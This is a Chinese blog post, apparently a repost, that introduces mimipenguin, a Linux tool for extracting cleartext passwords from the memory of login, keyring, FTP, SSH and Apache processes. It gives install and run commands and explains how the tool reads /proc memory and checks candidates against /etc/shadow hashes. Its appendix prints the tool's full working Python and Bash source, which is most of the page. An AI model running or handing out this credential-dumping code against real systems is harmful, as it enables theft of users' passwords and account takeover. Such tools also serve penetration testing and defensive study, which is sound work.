zoukankan      html  css  js  c++  java
  • Linux内存凭据提取mimipenguin

    安装与测试mimipenguin


    安装方法

    bobac@UBP:~$ git clone https://github.com/huntergregal/mimipenguin.git
    


    测试使用

    #就像mimikatz需要administrator权限一样,这里也需要root权限
    bobac@UBP:~/mimipenguin$ sudo ./mimipenguin.py
    #或
    bobac@UBP:~/mimipenguin$ sudo ./mimipenguin.sh
    

    原理分析


    首先,要列出可能保存相关凭据的进程,可以看到python给出的这个几个进程

    /*
    gdm-password
    gnome-keyring-daemon    GNOME密码也就是图形登录的账号密码
    lightdm                 LIGHTDM账户密码,基本上与GNOME一致 
    vsftpd                  文件服务FTP账户密码
    sshd                    连接SSH服务的账户密码
    apache2                 起HTTP服务的账户密码
    */
    

    0x01 读取进程内存:在这些进程的内存中尝试dump口令,那么需要dump进程内存,原理是打开/proc/pid/maps文件,对其中的内容做一些处理,然后得出一个读取大小。根据这个大小读取/proc/pid/mem文件中的内容,处理后作为原始数据。
    0x02 读取明文密码:然后根据不同进程的一些凭据字符串附近的特征字符串,进行定位,或者利用正则进行匹配,取出凭据所在的内存部分,提取到凭据明文。
    0x03 读取hash,利用正则表达式,在内存部分原始数据中读取到hash值,然后打开/etc/shadow进行匹配,匹配到对应的账户名称。
    0x04 散列值对比,利用计算hash的方法,对明文密码进行hash计算,与发现的hash比较,从而验证明文密码。

    附录:Python和shell代码


    #!/usr/bin/env python3
    #   -*- encoding: utf8 -*-
    #   Rewrite of mimipenguin in Python 3.
    #   Original idea from Hunter Gregal (@huntergregal).
    #   Implementation by Yannick Méheut (github.com/the-useless-one)
    #   Copyright © 2017, Yannick Méheut <yannick@meheut.org>
    
    #   This program is free software: you can redistribute it and/or modify
    #   it under the terms of the GNU General Public License as published by
    #   the Free Software Foundation, either version 3 of the License, or
    #   (at your option) any later version.
    #
    #   This program is distributed in the hope that it will be useful,
    #   but WITHOUT ANY WARRANTY; without even the implied warranty of
    #   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    #   GNU General Public License for more details.
    
    #   You should have received a copy of the GNU General Public License
    #   along with this program.  If not, see <http://www.gnu.org/licenses/>.
    
    from __future__ import print_function
    
    import os
    import platform
    import re
    import base64
    import binascii
    import crypt
    import string
    
    
    def running_as_root():
        return os.geteuid() == 0
    
    
    def get_linux_distribution():
        try:
            return platform.dist()[0].lower()
        except IndexError:
            return str()
    
    
    def compute_hash(ctype, salt, password):
        return crypt.crypt(password, '{}{}'.format(ctype, salt))
    
    
    def strings(s, min_length=4):
        strings_result = list()
        result = str()
    
        for c in s:
            try:
                c = chr(c)
            except TypeError:
                # In Python 2, c is already a chr
                pass
            if c in string.printable:
                result += c
            else:
                if len(result) >= min_length:
                    strings_result.append(result)
                result = str()
    
        return strings_result
    
    
    def dump_process(pid):
        dump_result = bytes()
    
        with open('/proc/{}/maps'.format(pid), 'r') as maps_file:
            for l in maps_file.readlines():
                memrange, attributes = l.split(' ')[:2]
                if attributes.startswith('r'):
                    memrange_start, memrange_stop = [
                        int(x, 16) for x in memrange.split('-')]
                    memrange_size = memrange_stop - memrange_start
                    with open('/proc/{}/mem'.format(pid), 'rb') as mem_file:
                        try:
                            mem_file.seek(memrange_start)
                            dump_result += mem_file.read(memrange_size)
                        except (OSError, ValueError, IOError, OverflowError):
                            pass
    
        return dump_result
    
    
    def find_pid(process_name):
        pids = list()
    
        for pid in os.listdir('/proc'):
            try:
                with open('/proc/{}/cmdline'.format(pid), 'rb') as cmdline_file:
                    if process_name in cmdline_file.read().decode():
                        pids.append(pid)
            except IOError:
                continue
    
        return pids
    
    
    class PasswordFinder:
        _hash_re = r'^$.$.+$'
    
        def __init__(self):
            self._potential_passwords = list()
            self._strings_dump = list()
            self._found_hashes = list()
    
        def _dump_target_processes(self):
            target_pids = list()
            for target_process in self._target_processes:
                target_pids += find_pid(target_process)
            for target_pid in target_pids:
                self._strings_dump += strings(dump_process(target_pid))
    
        def _find_hash(self):
            for s in self._strings_dump:
                if re.match(PasswordFinder._hash_re, s):
                    self._found_hashes.append(s)
    
        def _find_potential_passwords(self):
            for needle in self._needles:
                needle_indexes = [i for i, s in enumerate(self._strings_dump)
                                  if re.search(needle, s)]
                for needle_index in needle_indexes:
                    self._potential_passwords += self._strings_dump[
                        needle_index - 10:needle_index + 10]
            self._potential_passwords = list(set(self._potential_passwords))
    
        def _try_potential_passwords(self):
            valid_passwords = list()
            found_hashes = list()
            pw_hash_to_user = dict()
    
            if self._found_hashes:
                found_hashes = self._found_hashes
            with open('/etc/shadow', 'r') as f:
                for l in f.readlines():
                    user, pw_hash = l.split(':')[:2]
                    if not re.match(PasswordFinder._hash_re, pw_hash):
                        continue
                    found_hashes.append(pw_hash)
                    pw_hash_to_user[pw_hash] = user
    
            found_hashes = list(set(found_hashes))
    
            for found_hash in found_hashes:
                ctype = found_hash[:3]
                salt = found_hash.split('$')[2]
                for potential_password in self._potential_passwords:
                    potential_hash = compute_hash(ctype, salt, potential_password)
                    if potential_hash == found_hash:
                        try:
                            valid_passwords.append(
                                (pw_hash_to_user[found_hash], potential_password))
                        except KeyError:
                            valid_passwords.append(
                                ('<unknown user>', potential_password))
    
            return valid_passwords
    
        def dump_passwords(self):
            self._dump_target_processes()
            self._find_hash()
            self._find_potential_passwords()
    
            return self._try_potential_passwords()
    
    
    class GdmPasswordFinder(PasswordFinder):
        def __init__(self):
            PasswordFinder.__init__(self)
            self._source_name = '[SYSTEM - GNOME]'
            self._target_processes = ['gdm-password']
            self._needles = ['^_pammodutil_getpwnam_root_1$',
                             '^gkr_system_authtok$']
    
    
    class GnomeKeyringPasswordFinder(PasswordFinder):
        def __init__(self):
            PasswordFinder.__init__(self)
            self._source_name = '[SYSTEM - GNOME]'
            self._target_processes = ['gnome-keyring-daemon']
            self._needles = [r'^.+libgck-1.so.0$', r'libgcrypt.so..+$', r'linux-vdso.so.1$']
    
    class LightDmPasswordFinder(PasswordFinder):
        def __init__(self):
            PasswordFinder.__init__(self)
            self._source_name = '[SYSTEM - LIGHTDM]'
            self._target_processes = ['lightdm']
            self._needles = [r'^_pammodutil_getspnam_']
    
    class VsftpdPasswordFinder(PasswordFinder):
        def __init__(self):
            PasswordFinder.__init__(self)
            self._source_name = '[SYSTEM - VSFTPD]'
            self._target_processes = ['vsftpd']
            self._needles = [
                r'^::.+:[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}$']
    
    
    class SshdPasswordFinder(PasswordFinder):
        def __init__(self):
            PasswordFinder.__init__(self)
            self._source_name = '[SYSTEM - SSH]'
            self._target_processes = ['sshd:']
            self._needles = [r'^sudo.+']
    
    
    class ApachePasswordFinder(PasswordFinder):
        def __init__(self):
            PasswordFinder.__init__(self)
            self._source_name = '[HTTP BASIC - APACHE2]'
            self._target_processes = ['apache2']
            self._needles = [r'^Authorization: Basic.+']
    
        def _try_potential_passwords(self):
            valid_passwords = list()
    
            for potential_password in self._potential_passwords:
                try:
                    potential_password = base64.b64decode(potential_password)
                except binascii.Error:
                    continue
                else:
                    try:
                        user, password = potential_password.split(':', maxsplit=1)
                        valid_passwords.append((user, password))
                    except IndexError:
                        continue
    
            return valid_passwords
    
        def dump_passwords(self):
            self._dump_target_processes()
            self._find_potential_passwords()
    
            return self._try_potential_passwords()
    
    
    def main():
        if not running_as_root():
            raise RuntimeError('mimipenguin should be ran as root')
    
        password_finders = list()
    
        if find_pid('gdm-password'):
            password_finders.append(GdmPasswordFinder())
        if find_pid('gnome-keyring-daemon'):
            password_finders.append(GnomeKeyringPasswordFinder())
        if find_pid('lightdm'):
            password_finders.append(LightDmPasswordFinder())
        if os.path.isfile('/etc/vsftpd.conf'):
            password_finders.append(VsftpdPasswordFinder())
        if os.path.isfile('/etc/ssh/sshd_config'):
            password_finders.append(SshdPasswordFinder())
        if os.path.isfile('/etc/apache2/apache2.conf'):
            password_finders.append(ApachePasswordFinder())
    
        for password_finder in password_finders:
            for valid_passwords in password_finder.dump_passwords():
                print('{}	{}:{}'.format(password_finder._source_name,
                                         valid_passwords[0], valid_passwords[1]))
    
    
    if __name__ == '__main__':
        main()
    
    #!/bin/bash
    
    # Author: Hunter Gregal
    # Github: /huntergregal Twitter: /huntergregal Site: huntergregal.com
    # Dumps cleartext credentials from memory
    
    #root check
    if [[ "$EUID" -ne 0 ]]; then
        echo "Root required - You are dumping memory..."
        echo "Even mimikatz requires administrator"
        exit 1
    fi
    
    #Store results to cleanup later
    export RESULTS=""
    
    # check if a command exists in $PATH
    command_exists () {
    
      command -v "${1}" >/dev/null 2>&1
    }
    
    # check for required executables in $PATH
    if ! command_exists strings; then
        echo "Error: command 'strings' not found in ${PATH}"
        exit 1
    fi
    if ! command_exists grep; then
        echo "Error: command 'grep' not found in ${PATH}"
        exit 1
    fi
    
    # Check for any of the currently tested versions of Python
    if command_exists python2; then
        pycmd=python2
    elif command_exists python2.7; then
        pycmd=python2.7
    elif command_exists python3; then
        pycmd=python3
    elif command_exists python3.6; then
        pycmd=python3.6
    elif command_exists python3.7; then
        pycmd=python3.7
    else
        echo "Error: No supported version of 'python' found in ${PATH}"
        exit 1
    fi
    
    # $1 = PID, $2 = output_file, $3 = operating system
    function dump_pid () {
    
        system=$3
        pid=$1
        output_file=$2
        if [[ $system == "kali" ]]; then
            mem_maps=$(grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | grep -E 'heap|stack' | cut -d' ' -f 1)
        else
            mem_maps=$(grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | cut -d' ' -f 1)
        fi
        while read -r memrange; do
            memrange_start=$(echo "$memrange" | cut -d"-" -f 1)
            memrange_start=$(printf "%u
    " 0x"$memrange_start")
            memrange_stop=$(echo "$memrange" | cut -d"-" -f 2)
            memrange_stop=$(printf "%u
    " 0x"$memrange_stop")
            memrange_size=$((memrange_stop - memrange_start))
            dd if=/proc/"$pid"/mem of="${output_file}"."${pid}" ibs=1 oflag=append conv=notrunc 
                skip="$memrange_start" count="$memrange_size" > /dev/null 2>&1
        done <<< "$mem_maps"
    }
    
    
    
    # $1 = DUMP, $2 = HASH, $3 = SALT, $4 = SOURCE
    function parse_pass () {
    
        #If hash not in dump get shadow hashes
        if [[ ! "$2" ]]; then
                SHADOWHASHES="$(cut -d':' -f 2 /etc/shadow | grep -E '^$.$')"
        fi
    
        #Determine password potential for each word
        while read -r line; do
            #If hash in dump, prepare crypt line
            if [[ "$2" ]]; then
                #get ctype
                CTYPE="$(echo "$2" | cut -c-3)"
                #Escape quotes, backslashes, single quotes to pass into crypt
                SAFE=$(echo "$line" | sed 's/\/\\/g; s/"/\"/g; s/'"'"'/\'"'"'/g;')
                CRYPT=""$SAFE", "$CTYPE$3""
                if [[ $($pycmd -c "from __future__ import print_function; import crypt; print(crypt.crypt($CRYPT))") == "$2" ]]; then
                    #Find which user's password it is (useful if used more than once!)
                    USER="$(grep "${2}" /etc/shadow | cut -d':' -f 1)"
                    export RESULTS="$RESULTS$4          $USER:$line 
    "
                fi
            #Else use shadow hashes
            elif [[ $SHADOWHASHES ]]; then
                while read -r thishash; do
                    CTYPE="$(echo "$thishash" | cut -c-3)"
                    SHADOWSALT="$(echo "$thishash" | cut -d'$' -f 3)"
                    #Escape quotes, backslashes, single quotes to pass into crypt
                    SAFE=$(echo "$line" | sed 's/\/\\/g; s/"/\"/g; s/'"'"'/\'"'"'/g;')
                    CRYPT=""$SAFE", "$CTYPE$SHADOWSALT""
                    if [[ $($pycmd -c "from __future__ import print_function; import crypt; print(crypt.crypt($CRYPT))") == "$thishash" ]]; then
                        #Find which user's password it is (useful if used more than once!)
                        USER="$(grep "${thishash}" /etc/shadow | cut -d':' -f 1)"
                        export RESULTS="$RESULTS$4          $USER:$line
    "
                    fi
                done <<< "$SHADOWHASHES"
            #if no hash data - revert to checking probability
            else
            patterns=("^_pammodutil.+[0-9]$"
                     "^LOGNAME="
                     "UTF-8"
                     "^splayManager[0-9]$"
                     "^gkr_system_authtok$"
                     "[0-9]{1,4}:[0-9]{1,4}:"
                     "Manager.Worker"
                     "/usr/share"
                     "/bin"
                     ".so.[0-1]$"
                     "x86_64"
                     "(aoao)"
                     "stuv")
            export RESULTS="$RESULTS[HIGH]$4            $line
    "
            for pattern in "${patterns[@]}"; do
              if [[ $line =~ $pattern ]]; then
                export RESULTS="$RESULTS[LOW]$4         $line
    "
              fi
            done
            fi
        done <<< "$1"
    } # end parse_pass
    
    
    #Support Kali
    if [[ $(uname -a | awk '{print tolower($0)}') == *"kali"* ]]; then
        SOURCE="[SYSTEM - GNOME]"
        #get gdm-session-worker [pam/gdm-password] process
        PID="$(ps -eo pid,command | sed -rn '/gdm-password]/p' | awk -F ' ' '{ print $1 }')"
        #if exists aka someone logged into gnome then extract...
        if [[ $PID ]];then
            while read -r pid; do
                dump_pid "$pid" /tmp/dump "kali"
                HASH="$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^$.$.+$')"
                SALT="$(echo "$HASH" | cut -d'$' -f 3)"
                DUMP="$(strings "/tmp/dump.${pid}" | grep -E '^_pammodutil_getpwnam_root_1$' -B 5 -A 5)"
                DUMP="${DUMP}$(strings "/tmp/dump.${pid}" | grep -E '^gkr_system_authtok$' -B 5 -A 5)"
                #Remove dupes to speed up processing
                DUMP=$(echo "$DUMP" | tr " " "
    " |sort -u)
                parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" 
        
                #cleanup
                rm -rf "/tmp/dump.${pid}"
            done <<< "$PID"
        fi
    fi
    
    #Support gnome-keyring
    if [[ -n $(ps -eo pid,command | grep -v 'grep' | grep gnome-keyring) ]]; then
    
            SOURCE="[SYSTEM - GNOME]"
            #get /usr/bin/gnome-keyring-daemon process
            PID="$(ps -eo pid,command | sed -rn '/gnome-keyring-daemon/p' | awk -F ' ' '{ print $1 }')"
    
        #if exists aka someone logged into gnome then extract...
        if [[ $PID ]];then
            while read -r pid; do
                dump_pid "$pid" /tmp/dump
                HASH="$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^$.$.+$')"
                SALT="$(echo "$HASH" | cut -d'$' -f 3)"
                DUMP=$(strings "/tmp/dump.${pid}" | grep -E '^.+libgck-1.so.0$' -B 10 -A 10)
                DUMP+=$(strings "/tmp/dump.${pid}" | grep -E -A 5 -B 5 'libgcrypt.so..+$')
                #Remove dupes to speed up processing
                DUMP=$(echo "$DUMP" | tr " " "
    " |sort -u)
                parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" 
                #cleanup
                rm -rf "/tmp/dump.${pid}"
            done <<< "$PID"
        fi
    fi
    
    #Support LightDM
    if [[ -n $(ps -eo pid,command | grep -v 'grep' | grep lightdm | grep session-child) ]]; then
        SOURCE="[SYSTEM - LIGHTDM]"
        PID="$(ps -eo pid,command | grep lightdm | sed -rn '/session-child/p' | awk -F ' ' '{ print $1 }')"
    
        #if exists aka someone logged into lightdm then extract...
        if [[ $PID ]]; then
            while read -r pid; do
                dump_pid "$pid" /tmp/dump
                HASH=$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^$.$.+$')
                SALT="$(echo "$HASH" | cut -d'$' -f 3)"
                DUMP="$(strings "/tmp/dump.${pid}" | grep -E '^_pammodutil_getspnam_' -A1)"
                #Remove dupes to speed up processing
                DUMP=$(echo "$DUMP" | tr " " "
    " |sort -u)
                parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
                #cleanup
                rm -rf "/tmp/dump.${pid}"
            done <<< "$PID"
        fi
    fi
    
    #Support VSFTPd - Active Users
    if [[ -e "/etc/vsftpd.conf" ]]; then
            SOURCE="[SYSTEM - VSFTPD]"
            #get nobody /usr/sbin/vsftpd /etc/vsftpd.conf
            PID="$(ps -eo pid,user,command | grep vsftpd | grep nobody | awk -F ' ' '{ print $1 }')"
        #if exists aka someone logged into FTP then extract...
        if [[ $PID ]];then
            while read -r pid; do
                dump_pid "$pid" /tmp/vsftpd
                HASH="$(strings "/tmp/vsftpd.${pid}" | grep -E -m 1 '^$.$.+$')"
                SALT="$(echo "$HASH" | cut -d'$' -f 3)"
                DUMP=$(strings "/tmp/vsftpd.${pid}" | grep -E -B 5 -A 5 '^::.+:[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}$')
                #Remove dupes to speed up processing
                DUMP=$(echo "$DUMP" | tr " " "
    " |sort -u)
                parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
            done <<< "$PID"
    
            #cleanup
            rm -rf /tmp/vsftpd*
        fi
    fi
    
    #Support Apache2 - HTTP BASIC AUTH
    if [[ -e "/etc/apache2/apache2.conf" ]]; then
            SOURCE="[HTTP BASIC - APACHE2]"
            #get all apache workers /usr/sbin/apache2 -k start
            PID="$(ps -eo pid,user,command | grep apache2 | grep -v 'grep' | awk -F ' ' '{ print $1 }')"
        #if exists aka apache2 running
        if [[ "$PID" ]];then
            #Dump all workers
            while read -r pid; do
                gcore -o /tmp/apache "$pid" > /dev/null 2>&1
                #without gcore - VERY SLOW!
                #dump_pid $pid /tmp/apache
            done <<< "$PID"
            #Get encoded creds
            DUMP="$(strings /tmp/apache* | grep -E '^Authorization: Basic.+=$' | cut -d' ' -f 3)"
            #for each extracted b64 - decode the cleartext
            while read -r encoded; do
                CREDS="$(echo "$encoded" | base64 -d)"
                if [[ "$CREDS" ]]; then
                    export RESULTS="$RESULTS$SOURCE         $CREDS
    "
                fi
            done <<< "$DUMP"
            #cleanup
            rm -rf /tmp/apache*
        fi
    fi
    
    #Support sshd - Search active connections for Sudo passwords
    if [[ -e "/etc/ssh/sshd_config" ]]; then
        SOURCE="[SYSTEM - SSH]"
        #get all ssh tty/pts sessions - sshd: user@pts01
        PID="$(ps -eo pid,command | grep -E 'sshd:.+@' | grep -v 'grep' | awk -F ' ' '{ print $1 }')"
        #if exists aka someone logged into SSH then dump
        if [[ "$PID" ]];then
            while read -r pid; do
                dump_pid "$pid" /tmp/sshd
                HASH="$(strings "/tmp/sshd.${pid}" | grep -E -m 1 '^$.$.+$')"
                SALT="$(echo "$HASH" | cut -d'$' -f 3)"
                DUMP=$(strings "/tmp/sshd.${pid}" | grep -E -A 3 '^sudo.+')
                #Remove dupes to speed up processing
                DUMP=$(echo "$DUMP" | tr " " "
    " |sort -u)
                parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
            done <<< "$PID"
            #cleanup
            rm -rf /tmp/sshd.*
        fi
    fi
    
    #Output results to STDOUT
    printf "MimiPenguin Results:
    "
    printf "%b" "$RESULTS" | sort -u
    unset RESULTS
  • 相关阅读:
    jquery判断设备是否是手机
    jQuery -- touch事件之滑动判断(左右上下方向)
    sass制作雪碧图
    js时间字符串转为标准时间
    装箱和拆箱
    Dictionary泛型集合实现山寨版金山词霸
    泛型集合
    ArrayList集合与索引器及Hashtable
    黑马程序员--静态方法和静态类
    黑马程序员--多态练习(手机工厂)
  • 原文地址:https://www.cnblogs.com/mutudou/p/14240423.html
Copyright © 2011-2022 走看看